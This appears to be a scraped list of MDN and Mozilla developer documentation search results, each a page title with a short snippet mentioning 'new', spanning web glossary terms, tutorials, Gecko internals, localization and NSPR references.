names starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest.
Google Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
visit the chrome releases blog to learn what's new.
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
graceful degradation is a design philosophy that centers around trying to build a modern web site/application that will work in the newest browsers, but falls back to an experience that while not as good still delivers essential content and functionality in older browsers.
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
the five items are placed into grid cells working along an initial row of three grid cells, then creating a new row for the remaining two.
HTML5 - MDN Web Docs Glossary: Definitions of Web-related terms
among other features, html5 includes new elements and javascript apis to enhance storage, multimedia, and hardware access.
HTTP/2 - MDN Web Docs Glossary: Definitions of Web-related terms
instead, http/2 modifies how the data is formatted (framed) and transported between the client and server, both of which manage the entire process, and hides application complexity within the new framing layer.
HTTP/3 - MDN Web Docs Glossary: Definitions of Web-related terms
the major point of http/3 is that it using a new udp protocol named quic, instead of tcp.
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
a basic request with one header: get /example.http http/1.1 host: example.com redirects have mandatory headers (location): 302 found location: /newpage.html a typical set of headers: 304 not modified access-control-allow-origin: * age: 2318192 cache-control: public, max-age=315360000 connection: keep-alive date: mon, 18 jul 2016 16:06:00 gmt server: apache vary: accept-encoding via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (cloudfront) x-amz-cf-id: tol0fem6ui4fgldrkjx0vao5hpkkgzulyn2twd2gawltr7vlnjtvzw== x-backend-server: devel...
Internationalization - MDN Web Docs Glossary: Definitions of Web-related terms
internationalization is the process of architecting your web application so that it can be quickly and easily adapted to various languages and regions without much engineering effort when new languages and regions are supported.
Method - MDN Web Docs Glossary: Definitions of Web-related terms
learn more learn about it method (computer programming) in wikipedia defining a method in javascript (comparison of the traditional syntax and the new shorthand) technical reference list of javascript built-in methods ...
Mixin - MDN Web Docs Glossary: Definitions of Web-related terms
the new class or interface then includes both the properties and methods from the mixin as well as those it defines itself.
NNTP - MDN Web Docs Glossary: Definitions of Web-related terms
nntp (network news transfer protocol) is a protocol used to transfer usenet messages from client to server or between servers.
PAC - MDN Web Docs Glossary: Definitions of Web-related terms
*/ } ret = findproxyforurl(url, host) see proxy auto-configuration (pac) file for details about how these are used and how to create new ones.
Packet - MDN Web Docs Glossary: Definitions of Web-related terms
references used : https://en.wikipedia.org/wiki/network_packet https://en.m.wikipedia.org/wiki/hop_(networking) https://www.techradar.com/news/computing/how-error-detection-and-correction-works-1080736 ...
QUIC - MDN Web Docs Glossary: Definitions of Web-related terms
the creation of quic allows developers to conduct experiments and try new things faster.
SMTP - MDN Web Docs Glossary: Definitions of Web-related terms
smtp (simple mail transfer protocol) is a protocol used to send a new email.
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
this therefore allows users to use websites without loading whole new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as seo, more effort required to maintain state, implement navigation, and do meaningful performance monitoring.
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
inject new packets to the server using the victim's session id.
Signature (security) - MDN Web Docs Glossary: Definitions of Web-related terms
on receiving the message, the verification process authenticates the sender - uses the sender's public key to decrypt the signature and recover the hash, which can only be created with the sender's private key, and checks message integrity - compares the hash with a newly calculated one from the received document (the two hashes will differ if the document has been tampered with) the system fails if the private key is compromised or the recipient is deceitfully given the wrong public key.
Sloppy mode - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascript 5 and later let scripts opt in to a new strict mode, which alters the semantics of javascript in several ways to improve its resiliency and which make it easier to understand what's going on when there are problems.
Slug - MDN Web Docs Glossary: Definitions of Web-related terms
it may also just be the final component when a new document is created under a parent document; for example, this page's slug is glossary/slug .
Smoke Test - MDN Web Docs Glossary: Definitions of Web-related terms
smoke testing answers questions like "does the program start up correctly?" "do the main control buttons function?" "can you save a simple blank new test user account?" if this basic functionality fails, there is no point investing time in more detailed qa work at this stage.
Static method - MDN Web Docs Glossary: Definitions of Web-related terms
notifications api, the notification.requestpermission() method is called on the actual notification constructor itself — it is a static method: let promise = notification.requestpermission(); the notification.close() method on the other hand, is an instance method — it is called on an specific notification object instance to close the system notification it represents: let mynotification = new notification('this is my notification'); mynotification.close(); ...
Symbol - MDN Web Docs Glossary: Definitions of Web-related terms
symbol type is a new feature in ecmascript 2015.
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
when a new connection is made, cwnd is initialized to one tcp data or acknowledgment packet, and waits for an acknowledgement, or ack.
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
such as notifying a user they have received new email even though they're not currently logged into their mail service.
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
examples of truthy values in javascript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (new date()) if (-42) if (12n) if (3.14) if (-3.14) if (infinity) if (-infinity) specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
WebAssembly - MDN Web Docs Glossary: Definitions of Web-related terms
wasm) is an open binary programming format that can be run in modern web browsers in order to gain performance and/or provide new features for web pages.
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
web standards also must evolve to improve the current status and adapt to new circumstances.
World Wide Web - MDN Web Docs Glossary: Definitions of Web-related terms
in 1991, he announced his creation on the alt.hypertext newsgroup, marking the moment the web was first made public.
XSLT - MDN Web Docs Glossary: Definitions of Web-related terms
the xslt processor produces a new document based on the xml document and an xslt stylesheet, making no changes to the original files in the process.
Cacheable - MDN Web Docs Glossary: Definitions of Web-related terms
a cacheable response is an http response that can be cached, that is stored to be retrieved and used later, saving a new request to the server.
About Scriptable Interfaces - Interfaces
when we label an interface as scriptable, we're saying that components exporting this interface can be referenced (through this interface) from scripts (e.g javascript), and that we can write new components implementing the interface using script languages.
Assessment: Accessibility troubleshooting - Learn web development
decompress the contents into a new directory somewhere on your local computer.
Mobile accessibility - Learn web development
samsung) don't even have talkback in newer phones, and instead opted for their own screen reader.
Test your skills: WAI-ARIA - Learn web development
the problem we have now is that when the dom changes to show a new decription, screenreaders cannot see what has changed.
What is accessibility? - Learn web development
in the u.s., “intellectual disabilities” is the new term for “mental retardation.” in the u.k., “intellectual disabilities” is commonly “learning disabilities” or “learning difficulties”.
A cool-looking box - Learn web development
starting point to get this assessment started, you should: make local copies of the starting html and css — save them as index.html and style.css in a new directory.
Advanced styling effects - Learn web development
note: blend modes are also very new, and slightly less well supported than filters.
Test your skills: The Cascade - Learn web development
task one in this task, you need to use one of the special values we looked at in the controlling inheritance section to write a declaration in a new rule that will reset the background color back to white, without using an actual color value.
Attribute selectors - Learn web development
note: there is also a newer value s, which will force case-sensitive matching in contexts where matching is normally case-insensitive, however this is less well supported in browsers and isn't very useful in an html context.
CSS selectors - Learn web development
you may also find the selectors more readable if each is on a new line.
Sizing items in CSS - Learn web development
to see the example change when you change the viewport size you will need to load the example in a new browser window that you can resize (as the embedded <iframe> that contains the example shown above is its viewport).
Styling tables - Learn web development
next, create a new file called style.css and save it in the same directory as your other files.
CSS values and units - Learn web development
note: there are some other possible values for <image>, however these are newer and currently have poor browser support.
Test Your Skills: Fundamental layout comprehension - Learn web development
you will need to upload the images using their assets functionality and replace the value in the src attribute to point to the new image location.
Practical positioning examples - Learn web development
you might be thinking "why not just create the separate tabs as separate webpages, and just have the tabs clicking through to the separate pages to create the effect?" this code would be simpler, yes, but then each separate "page" view would actually be a newly-loaded webpage, which would make it harder to save information across views, and integrate this feature into a larger ui design.
CSS first steps - Learn web development
using your new knowledge with the things you have learned in the last few lessons you should find that you can format simple text documents using css, to add your own style to them.
create fancy boxes - Learn web development
<i>pierre desproges</i></blockquote> so here comes our style: blockquote { min-height: 5em; padding : 1em 4em; font : 1em/150% sans-serif; position : relative; background-color: lightgoldenrodyellow; } blockquote::before, blockquote::after { position: absolute; height : 3rem; font : 6rem/100% georgia, "times new roman", times, serif; } blockquote::before { content: '“'; top : 0.3rem; left : 0.9rem; } blockquote::after { content: '”'; bottom : 0.3rem; right : 0.8rem; } blockquote:lang(fr)::before { content: '«'; top : -1.5rem; left : 0.5rem; } blockquote:lang(fr)::after { content: '»'; bottom : 2.6rem; right : 0.5rem } blockquote i { display : block; fo...
Styling links - Learn web development
so that's it — try revisiting the active learning section above and trying this new technique out!
How do you make sure your website works properly? - Learn web development
301: moved permanently the resource has moved to a new location.
What do common web layouts contain? - Learn web development
even now with the new focus on mobile web, almost all mainstream webpages are built from these parts: header visible at the top of every page on the site.
How can we design for all types of users? - Learn web development
back when we had newspapers, printers realized that the reader's eyes would have trouble going from one line to the next if the lines were too long.
How do you host your website on Google App Engine? - Learn web development
creating a google cloud platform project to use google's tools for your own site or app, you need to create a new project on google cloud platform.
How much does it cost to do something on the Web? - Learn web development
do you want some shiny new feature that is the rage of the moment?
How do you upload your files to a web server? - Learn web development
in the site manager window, press the new site button, then fill in the site name as demozilla in the provided space.
What is a Domain Name? - Learn web development
you can renew your right, and your renewal has priority over other people's applications.
What software do I need to build a website? - Learn web development
mobile device simulation is a new, evolving technology and less reliable than desktop simulation.
Common questions - Learn web development
these terms are often a source of confusion for newcomers to the web, or are used incorrectly.
Sending form data - Learn web development
the server then responds, generally handling the data and loading the url defined by the action attribute, causing a new page load (or a refresh of the existing page, if the action points to the same page).
Test your skills: Form validation - Learn web development
note: regular expressions are really challenging if you are new to them, but don't despair — have a go and see where you get to; there is no shame in asking for some help.
Test your skills: HTML5 controls - Learn web development
html5 controls 1 first let's explore some of the new html5 input types.
Front-end web developer - Learn web development
simply work through each section, learning new skills (or improving existing ones) as you go along.
How the Web works - Learn web development
the browser assembles the small chunks into a complete web page and displays it to you (the goods arrive at your door — new shiny stuff, awesome!).
What will your website look like? - Learn web development
do you like dogs, new york, or pac-man?
Getting started with the Web - Learn web development
the story of your first website it's a lot of work to create a professional website, so if you're new to web development, we encourage you to start small.
Tips for authoring fast-loading HTML pages - Learn web development
this can be crucial for high volume sites or sites which have a spike in traffic due to unusual circumstances such as breaking news stories.
Use JavaScript within a webpage - Learn web development
you can create amazing webpages without javascript, but javascript opens up a whole new level of possibilities.
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
if you're new to html you should start with this.
Adding vector graphics to the Web - Learn web development
in the below code, older browsers will stick with the png that they understand, while newer browsers will load the svg: background: url("fallback.png") no-repeat center; background-image: url("image.svg"); background-size: contain; like the <img> method described above, inserting svgs using css background images means that the svg can't be manipulated with javascript, and is also subject to the same css limitations.
Mozilla splash page - Learn web development
save the contents of index.html in a file called index.html on your local drive, in a new directory.
Assessment: Structuring planet data - Learn web development
starting point to start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer.
Structuring the web with HTML - Learn web development
html is used to specify whether your web content should be recognized as a paragraph, list, heading, link, image, multimedia player, form, or one of many other available elements or even a new element that you define.
Asynchronous JavaScript - Learn web development
handling async operations gracefully with promises promises are a comparatively new feature of the javascript language that allow you to defer further actions until after the previous action has completed, or respond to its failure.
Test your skills: Events - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
Test your skills: Functions - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
Test your skills: Loops - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
Client-side web APIs - Learn web development
fetching data from the server another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page.
Test your skills: Strings - Learn web development
store the new quote in a variable called fixedquote.
Test your skills: variables - Learn web development
variables 2 in this task you need to add a new line to correct the value stored in the existing myname variable to your own name.
Solve common problems in your JavaScript code - Learn web development
how do you create a new constructor that inherits its members from a parent constructor?
Introducing JavaScript objects - Learn web development
assessments adding features to our bouncing balls demo in this assessment, you are expected to use the bouncing balls demo from the previous article as a starting point, and add some new and interesting features to it.
Measuring performance - Learn web development
the performanceobserver api can be used to observe performance measurement events and it can notify you of new performance entries as they are recorded in the browser's performance timeline.
Properly configuring server MIME types - Learn web development
as new content types are invented or added to web servers, web administrators may fail to add the new mime types to their web server's configuration.
Git and GitHub - Learn web development
different team members will commonly want to create their own separate versions of the code (called branches in git), work on a new feature in that version, and then get it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it.
Tools and testing - Learn web development
in most cases there are other tools available, old ones will go out of fashion, and new ones will no doubt appear.
Accessibility API cross-reference
d be wrapped in a <reference> pragmatically however, user agents should expect to find <link> tags as direct children of <toci> a list list list list list <ol>, <ul> <l> an item in a list listitem n/a list_item listitem <li> <li> may contain <lbl> (bullet, numeral, term etc.) and <lbody> a type of live region where new information is added in meaningful order and old information may disappear.
Mozilla's Section 508 Compliance
the united states federal rehabilitation act's section 508 is a new standard for defining accessibility requirements for software and other electronic and information technology.
ZoomText
our main focus is on the browser itself, so you you only need to install mailnews or address book if curious about the other apps.
Accessibility and Mozilla
in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a new piece of software.
Themes
browser themes browser theme concepts get an introduction to creating themes for the latest versions of firefox using the amo theme generator use the theme generator to create and submit a new theme to amo lightweight themes lightweight themes have been deprecated and are no longer accepted by amo.
A bird's-eye view of the Mozilla framework
the code samples in the article are based on mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9a1) gecko/20051104 seamonkey/1.1a from a new source tree checked out 11/04/05.
Browser chrome tests
adding a new browser chrome test to the tree to add a new browser chrome test to the tree, add it to the browser.ini file in the same folder as the test.
Building SpiderMonkey with UBSan
please file new bugs with e.g.
Creating a Login Manager storage module
args.join(",") + ")"); }, init: function slms_init() { this.stub(arguments); }, initwithfile: function slms_initwithfile(ainputfile, aoutputfile) { this.stub(arguments); }, addlogin: function slms_addlogin(login) { this.stub(arguments); }, removelogin: function slms_removelogin(login) { this.stub(arguments); }, modifylogin: function slms_modifylogin(oldlogin, newlogin) { this.stub(arguments); }, getalllogins: function slms_getalllogins(count) { this.stub(arguments); }, removealllogins: function slms_removealllogins() { this.stub(arguments); }, getalldisabledhosts: function slms_getalldisabledhosts(count) { this.stub(arguments); }, getloginsavingenabled: function slms_getloginsavingenabled(hostname) { this.stub(arguments...
Debugging a hang on OS X (Archived)
when it's done parsing the data, click the "show text report" button; a new window will open with a couple of rows with stacktraces for all the threads in the sampled application.
Debugging
debugging mozilla with lldb lldb is the new debugger on mac.
Configuring Build Options
this saves a considerable amount of time directly after a clobber build, so pulling in new updates and rebasing is less time-consuming.
Simple Instantbird build
you can pick any other location, such as a new directory c:\instantbird-src.
Simple SeaMonkey build
the support for libxul builds is still experimental but it should work if you --disable-mailnews.
Simple Thunderbird build
you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite).
Creating Custom Events That Can Pass Data
nsdomevent* it = new nsdommyevent(aprescontext, aevent); if (nsnull == it) { return ns_error_out_of_memory; } return callqueryinterface(it, adomevent); } in general though i'd strongly recommend using a function the way that everyone else does.
ESLint
for example: in windows 10, if you have installed node.js on "c:\nodejs", then the command should look like: export path=$path:/c/nodejs enabling eslint for a new directory remove the directory from .eslintignore (in the base directory of the repository) fix errors that occur when running ./mach eslint path/to/dir, see also the no-undef rules below.
Gecko Logging
special module name append append new logs to existing log file.
Interface development guide
mailing list newsgroup rss feed related topics javascript, xpcom, developing mozilla ...
SVG Guidelines
although this kind of data is supported by the browser, it can only be displayed when the svg is opened in a new tab.
Developer guide
for new mozilla developers a directory of articles which are particularly helpful for new mozilla developers.
Cross Process Object Wrappers
consider this code: mm.addmessagelistener("gotloadevent", function (msg) { mm.sendasyncmessage("changedocumenturi", {newuri: "hello.com"}); let uri = msg.objects.document.documenturi; dump("received load event: " + uri + "\n"); }); this sends a message asking the frame script to change the current document uri, then accesses the current document uri via a cpow.
Frame script environment
domwindowcreated fires when a new content object is created.
Limitations of chrome scripts
this means that if you need to write code that works before firefox 38 and on both multiprocess and non-multiprocess variants, you need to implement both paths: test whether topframeelement is null if it is, you're running in single-process firefox, and should use the old way if it isn't, you're running in multiprocess firefox and should use the new way from firefox 38 onwards, the topframeelement approach always works.
Communicating with frame scripts
.getservice(ci.nsiobserverservice); observerservice.addobserver(this, "message-manager-disconnect", false); console.log("listening"); }, unregister: function() { var observerservice = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); observerservice.removeobserver(this, "message-manager-disconnect"); } } var observer = new myobserver(); observer.register(); ...
Frame script environment
domwindowcreated fires when a new content object is created.
Process scripts
process scripts are new in firefox 38.
Firefox
one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
HTMLIFrameElement.executeScript()
examples var request1 = browser.executescript( var a = 3; a + 3 , {url: 'http://example.com/index.html'}); request1.onsuccess = function() { console.log(request1.result); // 6 } var request2 = browser.executescript( new promise((resolve, reject) => { settimeout(function() { resolve(6); }, 1000}) ) , {origin: 'http://example.com'}); request2.onsuccess = function() { console.log(request2.result); // 6 } if the script value is a not a promise, it is simply returned as the request value.
mozbrowserdocumentfirstpaint
the mozbrowserdocumentfirstpaint event is fired when a new paint occurs on any document in the browser <iframe>.
mozbrowserloadstart
the mozbrowserloadstart event is fired when the browser <iframe> starts to load a new page.
mozbrowserlocationchange
detail the detail property returns an anonymous javascript object with the following properties: url a domstring representing the url of the new location.
mozbrowseropensearch
example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropensearch", function( event ) { console.log("new search engine encountered: " + event.details.title); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange ...
Chrome-only Events reference
mozbeforepaintgecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.mozscrolledareachangedthe mozscrolledareachanged event is fired when the document view has been scrolled or resized.
Gecko SDK
you do have to get and distribute the newest gecko components (gklayout.dll etc.), though.
Gecko Keypress Event
these conditions are complex, and the handling rules may be modified if new issues are discovered.
Gecko
view all… community view mozilla forums: mailing list newsgroup rss feed related topics web standards xul embedding mozilla developing mozilla ...
Gecko's "Almost Standards" Mode
as of mozilla 1.0.1 and 1.1 beta, there is a new rendering mode referred to as "almost standards" mode.
Getting from Content to Layout
adds and removes frames to make the frame tree a proper representation of the new content tree.
How to add a build-time test
reference the test dir in a parent makefile (<tt>yourmoduledir/makefile.in</tt>): ifdef enable_tests dirs += tests_type endif (optional, but recommended) add the new makefile to allmakefiles.sh (todo: need more details about this) reconfigure (e.g.
How to get a process dump with Windows Task Manager
it is advisable to create a new, blank profile to use when reproducing the hang and capturing the memory dump.
How to get a stacktrace for a bug report
crash reports are accessible from all firefox profiles, so if a new profile does not crash you can use it to access them through "about:crashes" as above.
How to investigate Disconnect failures
file a bug once you found what caused the failure, file a new bug; if you could make it reproducible, narrow down the test case as much as you can so we can see what causes the failure.
PBackground
instead we can go directly to the compositor thread in the parent process by creating a new top-level protocol that connects the compositor thread in the parent process to the main thread of a child process.
IPC Protocol Definition Language (IPDL)
current docs ipdl tutorial quick start: creating a new protocol quick start: extending a protocol ipdl type serialization ipdl best practices ipdl glossary pbackground future planned docs ipdl language reference error and shutdown handling in ipdl protocols how ipdl uses processes, threads, and sockets ipdl shared memory ...
Implementing QueryInterface
calling an inherited queryinterface sometimes you are just adding one or two new interfaces to an implementation that already supports many other interfaces.
Implementing Download Resuming
the front-end may want to offer the user to get the new file from scratch in such a case.
JavaScript-DOM Prototypes in Mozilla
if you think back to the htmlimageelement examples above, those examples let you define new properties on all image elements.
Addon
pendingupgrade read only addon if this add-on will be replaced on the next restart, this property will hold the new addon object.
AddonInstall
void cancel( ) addlistener() adds a new installlistener if the listener is not already registered to monitor this specific addoninstall.
Add-on Repository
a new search will immediately fail if the addonrepository is already handling another search request.
AsyncShutdown.jsm
if you need a new phase added to asyncshutdown, please file a bug.
DownloadSummary
the newly added view will receive an initial onsummarychanged notification.
Interfacing with the Add-on Repository
you an use the code module to get lists of add-ons and even install new add-ons.
OS.File.Info
on older unix filesystems it is not possible to get a creation date as it was never stored, on new unix filesystems creation date is stored but the method to obtain this date differs per filesystem, bugzilla :: bug 1167143 explores implementing solutions for all these different filesystems) lastaccessdate the date at which the file was last accessed, as a javascript date object.
OSFile.jsm
os.file is a new api designed for efficient, off-main thread, manipulation of files by privileged javascript code.
Using workers in JavaScript code modules
to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_url.js'); this will create a new chrome worker that will immediately begin to run the script at the specified url (in this case, "script_url.js").
Mozilla Content Localized in Your Language
here is the guideline on the naming convention from w3c.org: new terminology what is your localization team's process for identifying and creating new terminology?
L10n testing with xcode
navigate to the newly opened ios simulator window many strings are accessibility strings and are only revieled when a user hovers their finger over the button.
Localizing XLIFF files for iOS
push your commit into the github repo: git push kick up your feet, pop open a cold beer (or soda), and pat yourself on the back for doing something new, different, and exciting!
Localizing extension metadata on addons.mozilla.org
the localizable data fields of an extension are: name homepage summary description eula privacy policy version notes developer comments when you submit a new extension to amo, the process is divided into several steps.
Patching a Localization
hg diff browser/chrome/browser/browser.dtd attach the patch to an existing bug for reference or review or create a new one if one doesn't currently exist.
Localization prerequisites
tools a recent posix shell python 2.5 or newer.
Localization formats
as every new web-dev project takes shape, a project manager should ask themselves these questions and have the answers ready before starting the web l10n process.
Web Localizability
extending you web app to support new languages will be easy.
gettext
tring = "{$context}\004{$msgid}"; $contextstringp = "{$context}\004{$msgid_plural}"; $translation = ngettext($contextstring, $contextstringp, $num); if ($translation === $contextstring) { return $msgid; } else if ($translation === $contextstringp) { return $msgid_plural; } else { return $translation; } } } // new gettext keyword for regular strings with optional context argument function ___($message, $context ="") { if($context != "") { return pgettext($context, $message); } else { return _($message); } } // new gettext keyword for plural strings with optional context argument function n___($message, $message_plural, $num, $context ="") { if($context != "") { ret...
Localization at Mozilla
to learn how to bootstrap a new locale for mozilla projects, please see those documents ...
Mozilla MathML Project
mailing list newsgroup rss feed irc channel wiki used by contributors - check out the latest developments and help us improving mathml in mozilla.
Mobile
read about how to develop web sites that look good on mobile devices and take advantage of the new possibilities they offer.
Mozilla Port Blocking
sftp 117 uucp-path 119 nntp 123 ntp 135 loc-srv / epmap 139 netbios 143 imap2 179 bgp 389 ldap 465 smtp+ssl 512 print / exec 513 login 514 shell 515 printer 526 tempo 530 courier 531 chat 532 netnews 540 uucp 556 remotefs 563 nntp+ssl 587 submission 601 syslog 636 ldap+ssl 993 imap+ssl 995 pop3+ssl 2049 nfs 4045 lockd 6000 x11 protocol specific exceptions each protocol handler can override the global blocked ports to allow it's own protocol to function.
Mozilla Web Services Security Model
in the root directory of the server: <webscriptaccess xmlns="http://www.mozilla.org/2002/soap/security"> <delegate/> <allow type="none"/> </webscriptaccess> and in the services directory: <webscriptaccess xmlns="http://www.mozilla.org/2002/soap/security"> <allow type="soapv"/> <allow type="soap"/> </webscriptaccess> good examples (needed.) references new security model for web services, the original proposal for the web-scripts-access.xml file format web services roadmap, documenting when web services features, including the security model, were first supported additional reading documentation of crossdomain.xml, a similar format used by macromedia flash player ...
Mozilla Style System
when script dynamically changes the data represented by a css style rule, we create a new nsistylerule object; keeping the old one around briefly helps to determine what changed and how we need to handle that change.
Mozilla Style System Documentation
these methods may all return an existing style context rather than a new one (see stylesetimpl::getcontext), if there is a current style context with the same parent, that matches the same rules (a check that is easy because of the ruletree), and is for the same pseudo-element (or not for a pseudo-element, or a "non-element").
BloatView
if a new leak occurs, it will trigger a test job failure.
Investigating leaks using DMD heap scan mode
fortunately, this method mostly just contains two calls to new, one for scriptloadrequest and one for moduleloadrequest.
Gecko Profiler FAQ
what's the best way to measure the cost of new compiler flags (that affect all or most functions)?
JS::PerfMeasurement
perfmeasurement::perfmeasurement(eventmask tomeasure) the constructor creates a new profiling object, which measures some subset of the requested events.
Measuring performance using the PerfMeasurement.jsm code module
for instance, let's measure instructions executed, cache references, and cache misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a new perfmeasurement object, configured to record the specified event types.
Memory Profiler
use reset to start a new recording.
Profiling with Concurrency Visualizer - Performance
in newer versions of visual studio, it is an addon that needs to be downloaded.
Profiling with the Firefox Profiler
symbols for try builds are not uploaded to the symbol server automatically, you need to trigger a "sym" job on treeherder: using treeherder's add new jobs ui, schedule a "sym" job for each platform whose "b" job you want symbols for.
Reporting a Performance Problem
the data will open in a new tab.
Phishing: a short definition
unfortunately, some users still feel it's too tedious unlocking a phone, opening the otp app, and manually typing a few digits each time a provider requests a new token.
A brief guide to Mozilla preferences
the administrator may alternatively put a user.js file in app_dir/defaults/profile/ ; this will put a copy of the user.js in all new profiles.
browser.pagethumbnails.capturing_disabled
the preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.
Preference reference
if set to true, the data is stored as content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background.br...
Productization guide
for example, putting one sample news feed on the bookmarks toolbar in new profiles in firefox helps in learning about the live bookmarks.
A guide to searching crash reports
select "new line", and then choose a field ("is garbage collecting") and an operator ("is true").
Debugging out-of-memory problems
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
Emscripten techniques
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
Firefox Sync
general the always prolific richard newman has written a couple of notes about bookmark syncing (first, second) and has a blog where he talks about the various challenges syncing this kind of data.
JSHydra
mailing list newsgroup rss feed #static on irc.mozilla.org blogs joshua cranmer related topics dehydra, treehydra, spidermonkey categories interwiki language links ...
L20n Javascript API
ctx.localize(['hello', 'new'], function(l10n) { var node = document.queryselector('[data-l10n-id=hello]'); node.textcontent = l10n.entities.hello.value; node.classlist.remove('hidden'); }); ctx.registerlocales(defaultlocale: string?, availablelocales: array<string>?) register the default locale of the context instance, as well as all other locales available to the context instance before the language negotiation.
L20n
through l20n, mozilla is creating a new generation of technology that places more power in localizers' hands.
McCoy
this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly recommended that you back up your profile folder and store it in a safe location whenever you create a new key; without a backup, there is no way to recover your private keys if they are lost!
Midas
insertparagraph inserts a new paragraph.
About NSPR
as operating system vendors issue new releases of their operating systems, nspr will be moved forward to these new releases by interested players.
Creating a Cookie Log
finally, attach the cookie-log.txt file to the bug where it was requested (by clicking on create new attachment).
Programs Using NSPR
netscape alumni took nspr with them to their new companies: good technology, kontiki, tellme networks.
Anonymous Shared Memory
first protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); addr = pr_memmap(fm); attr = pr_newprocessattr(); pr_processattrsetinheritablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ...
Condition Variables
condition variable type prcondvar condition variable functions pr_newcondvar pr_destroycondvar pr_waitcondvar pr_notifycondvar pr_notifyallcondvar ...
Hash Tables
hash table types and constants hash table functions hash table types and constants plhashentry plhashtable plhashnumber plhashfunction plhashcomparator plhashenumerator plhashallocops hash table functions pl_newhashtable pl_hashtabledestroy pl_hashtableadd pl_hashtableremove pl_hashtablelookup pl_hashtableenumerateentries pl_hashstring pl_comparestrings pl_comparevalues see also xpcom hashtable guide ...
Locks
lock type prlock lock functions pr_newlock creates a new lock object.
Memory Management Operations
memory allocation macros macro versions of the memory allocation functions are available, as well as additional macros that provide programming convenience: pr_malloc pr_new pr_realloc pr_calloc pr_newzap pr_delete pr_freeif ...
PLHashTable
a new hash table is created by the pl_newhashtable function, and destroyed by the pl_hashtabledestroy function.
PL_strdup
returns a pointer to a new memory node in the nspr heap containing a copy of a specified string.
PRFileDesc
otherwise, you use functions such as pr_open and pr_newtcpsocket to obtain a file descriptor, which you should treat as an opaque structure.
PRIOMethods
acceptread accept and read from a new network file descriptor.
PRLogModuleInfo
to log your program's activity, create a prlogmoduleinfo structure using pr_newlogmodule .
PRThread
a prthread* is the successful result of creating a new thread.
PRThreadPrivateDTOR
the destructor function passed to pr_newthreadprivateindex that is associated with the resulting thread private index.
PR_AttachThread
pr_attachthread informs nspr about the new thread by associating a prthread object with the native thread.
PR_Bind
description when a new socket is created, it has no address bound to it.
PR_CreateThreadPool
create a new hash table.
PR_DestroyPollableEvent
syntax nspr_api(prstatus) pr_destroypollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_newpollableevent.
PR_GetDefaultIOMethods
you can pass your own layer's methods table to pr_createiolayerstub to create your new layer.
PR_GetLibraryName
returns if successful, returns a new character string containing a constructed path name.
PR_GetUniqueIdentity
